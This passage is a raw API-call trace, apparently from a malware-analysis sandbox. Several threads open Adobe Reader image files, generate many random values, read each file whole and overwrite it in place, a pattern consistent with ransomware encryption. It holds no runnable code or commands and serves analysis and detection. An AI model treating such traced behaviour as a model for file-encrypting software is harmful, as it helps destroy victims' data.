	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xc60cb11f
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x1bb01c2e
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x38729d86
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xb8f6fa68
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xcb8d1b52
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x118a9844
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x43b5ce96
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xd45fca88
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xe0e9bce1
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xf52005f0
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x27552f87
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x14dbe7c3
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x2c140c2
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x43534883
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x1517aa56
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x66c77ef2
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x91f37d31
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xe5163446
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x61c78066
	[0094.510] ReadFile (in: hFile=0x888, lpBuffer=0x51b7938, nNumberOfBytesToRead=0x5df0, lpNumberOfBytesRead=0x3023f760, lpOverlapped=0x0 | out: lpBuffer=0x51b7938*, lpNumberOfBytesRead=0x3023f760*=0x5df0, lpOverlapped=0x0) returned 1
	[0094.511] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.511] WriteFile (hFile=0x888, lpBuffer=0x51c4140, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x3023f75c, lpOverlapped=0x0) 

Thread:
	id = 1411
	os_tid = 0x222c

	[0094.512] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif")) returned 0x20
	[0094.513] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif", dwFileAttributes=0x20) returned 1
	[0094.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf0c
	[0094.516] GetFileSizeEx (in: hFile=0xf0c, lpFileSize=0x302bf880 | out: lpFileSize=0x302bf880*=1338) returned 1
	[0094.516] SetFilePointerEx (in: hFile=0xf0c, liDistanceToMove=0x536, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.516] ReadFile (in: hFile=0xf0c, lpBuffer=0x302bf804, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x302bf800, lpOverlapped=0x0 | out: lpBuffer=0x302bf804*, lpNumberOfBytesRead=0x302bf800*=0x4, lpOverlapped=0x0) returned 1
	[0094.518] SetFilePointerEx (in: hFile=0xf0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734638
	[0094.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.518] NtQuerySystemTime (in: CurrentTime=0x302bf7e0 | out: CurrentTime=0x302bf7e0*=132251868212596857) returned 0x0
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x99729844
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x1cc67f88
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x554c15a3
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xbf0d55c4
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xadb18338
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x186cc29d
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xc5f37a03
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x7923c77b
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xf63c1ca6
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x8dd88f36
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x4e8fcf8f
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xeb9f855c
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xafc79d82
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x5b645925
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xf1ec80d2
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xe5056763
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x4f71b225
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x3d4e89a9
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xdbf2cda
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xdf6ff7bb
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x80b7c6ab
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x4b898ec7
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x6713f8ad
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x8207a864
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x39297ccb
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xcd02dae8
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x8012c4ce
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xae0daaa5
	[0094.518] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xafcad282
	[0094.519] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x644c4f47
	[0094.519] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0xf5562227
	[0094.519] RtlRandom (in: Seed=0x302bf7ec | out: Seed=0x302bf7ec) returned 0x21d5dbca
	[0094.528] ReadFile (in: hFile=0xf0c, lpBuffer=0x51d0948, nNumberOfBytesToRead=0x53a, lpNumberOfBytesRead=0x302bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x51d0948*, lpNumberOfBytesRead=0x302bf7dc*=0x53a, lpOverlapped=0x0) returned 1
	[0094.528] SetFilePointerEx (in: hFile=0xf0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.528] WriteFile (hFile=0xf0c, lpBuffer=0x51dd150, nNumberOfBytesToWrite=0x53a, lpNumberOfBytesWritten=0x302bf7d8, lpOverlapped=0x0) 

Thread:
	id = 1412
	os_tid = 0x2230

	[0094.517] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif")) returned 0x20
	[0094.528] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif", dwFileAttributes=0x20) returned 1
	[0094.529] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf08
	[0094.529] GetFileSizeEx (in: hFile=0xf08, lpFileSize=0x3033fe04 | out: lpFileSize=0x3033fe04*=83) returned 1
	[0094.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47346b0
	[0094.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.529] NtQuerySystemTime (in: CurrentTime=0x3033fd64 | out: CurrentTime=0x3033fd64*=132251868212596857) returned 0x0
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xedcddc62
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xac0fce89
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x5c26f001
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x46ed3f09
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x45559149
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x9a2357d2
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xa2e7d4dd
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x992facc8
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x11caa7a
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x75b2652b
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x332e26b1
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x96f554c1
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xbb6db734
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xbaaf40d0
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xc7cf7a4d
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x2ba86e72
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x5e12ce53
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xc9a7eaf1
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xb16f6311
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x43752d0b
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xfae7300
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x38ce94df
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x4f15d307
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xca7e515a
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x21bdd470
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x51de2ca3
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xb7b7e830
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xb5ddce19
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xdfc08dac
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0xa19f42e0
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x688c4adb
	[0094.529] RtlRandom (in: Seed=0x3033fd70 | out: Seed=0x3033fd70) returned 0x5f533ad7
	[0094.539] ReadFile (in: hFile=0xf08, lpBuffer=0x51e9958, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x3033fd60, lpOverlapped=0x0 | out: lpBuffer=0x51e9958*, lpNumberOfBytesRead=0x3033fd60*=0x53, lpOverlapped=0x0) returned 1
	[0094.540] SetFilePointerEx (in: hFile=0xf08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.540] WriteFile (hFile=0xf08, lpBuffer=0x51f6160, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x3033fd5c, lpOverlapped=0x0) 

Thread:
	id = 1413
	os_tid = 0x2234

	[0094.541] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif")) returned 0x20
	[0094.542] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif", dwFileAttributes=0x20) returned 1
	[0094.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf04
	[0094.542] GetFileSizeEx (in: hFile=0xf04, lpFileSize=0x303bfe2c | out: lpFileSize=0x303bfe2c*=82) returned 1
	[0094.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734700
	[0094.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.542] NtQuerySystemTime (in: CurrentTime=0x303bfd8c | out: CurrentTime=0x303bfd8c*=132251868212753389) returned 0x0
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x6fd0424b
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xbe3213f2
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x465b0e01
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xf25da9df
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x71ec6198
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xee1433ca
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xb3b6a9f9
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xe6bd9605
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xd632a0c
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x35c97b25
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x8a23917
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x122b1ff3
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x7f46b6e6
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xc25e2360
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x3c7edf88
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x901fcaa3
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xb2b9c077
	[0094.542] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x4bf19498
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x1bbe44d0
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x331f3f69
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xa4a8e541
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x73ebbcda
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x5737d0e0
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x8525d340
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x579aaebe
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x7048f0cc
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x8cca21df
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xd94768a
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xd27ae0a1
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x655ba25c
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0xa1b85c42
	[0094.543] RtlRandom (in: Seed=0x303bfd98 | out: Seed=0x303bfd98) returned 0x1c7a8d79
	[0094.552] ReadFile (in: hFile=0xf04, lpBuffer=0x5210048, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x303bfd88, lpOverlapped=0x0 | out: lpBuffer=0x5210048*, lpNumberOfBytesRead=0x303bfd88*=0x52, lpOverlapped=0x0) returned 1
	[0094.553] SetFilePointerEx (in: hFile=0xf04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.553] WriteFile (hFile=0xf04, lpBuffer=0x521c850, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0) 

Thread:
	id = 1414
	os_tid = 0x2238

	[0094.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif")) returned 0x20
	[0094.554] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif", dwFileAttributes=0x20) returned 1
	[0094.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x884
	[0094.555] GetFileSizeEx (in: hFile=0x884, lpFileSize=0x3043f884 | out: lpFileSize=0x3043f884*=1194) returned 1
	[0094.555] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x4a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.555] ReadFile (in: hFile=0x884, lpBuffer=0x3043f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3043f804, lpOverlapped=0x0 | out: lpBuffer=0x3043f808*, lpNumberOfBytesRead=0x3043f804*=0x4, lpOverlapped=0x0) returned 1
	[0094.556] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734750
	[0094.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.556] NtQuerySystemTime (in: CurrentTime=0x3043f7e4 | out: CurrentTime=0x3043f7e4*=132251868212909466) returned 0x0
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x91c3e13f
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xdc1276a7
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x1523ff19
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x9ca7f8e4
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x63839078
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x6fab89dd
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x6530890b
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xc7e4c69c
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x50772df6
	[0094.556] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xd1ff1dc2
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xe301acbe
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xdebb9757
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x214e3dea
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x2c65b0e8
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x3aea94e2
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x6cb3337c
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xa60a95c3
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x4caca5da
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x93710c25
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x119ecb35
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x3d4e26e8
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x5521d778
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xbcbff8a6
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x5234929c
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xfb717947
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x8059fdc6
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x94c81c5e
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x6b1365a4
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x57018f33
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x5b2e41ee
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0xbe706abd
	[0094.557] RtlRandom (in: Seed=0x3043f7f0 | out: Seed=0x3043f7f0) returned 0x8ae41504
	[0094.567] ReadFile (in: hFile=0x884, lpBuffer=0x5229058, nNumberOfBytesToRead=0x4aa, lpNumberOfBytesRead=0x3043f7e0, lpOverlapped=0x0 | out: lpBuffer=0x5229058*, lpNumberOfBytesRead=0x3043f7e0*=0x4aa, lpOverlapped=0x0) returned 1
	[0094.567] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.567] WriteFile (hFile=0x884, lpBuffer=0x5235860, nNumberOfBytesToWrite=0x4aa, lpNumberOfBytesWritten=0x3043f7dc, lpOverlapped=0x0) 

Thread:
	id = 1415
	os_tid = 0x223c

	[0094.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif")) returned 0x20
	[0094.567] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", dwFileAttributes=0x20) returned 1
	[0094.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf00
	[0094.568] GetFileSizeEx (in: hFile=0xf00, lpFileSize=0x304bfc5c | out: lpFileSize=0x304bfc5c*=821) returned 1
	[0094.568] SetFilePointerEx (in: hFile=0xf00, liDistanceToMove=0x331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.568] ReadFile (in: hFile=0xf00, lpBuffer=0x304bfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x304bfbdc, lpOverlapped=0x0 | out: lpBuffer=0x304bfbe0*, lpNumberOfBytesRead=0x304bfbdc*=0x4, lpOverlapped=0x0) returned 1
	[0094.569] SetFilePointerEx (in: hFile=0xf00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.569] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.569] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47347a0
	[0094.569] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.569] NtQuerySystemTime (in: CurrentTime=0x304bfbbc | out: CurrentTime=0x304bfbbc*=132251868213065659) returned 0x0
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x6b051886
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xb527422b
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x799b8591
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x70318bf2
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xb77144b4
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xacb07a95
	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x76b398a0
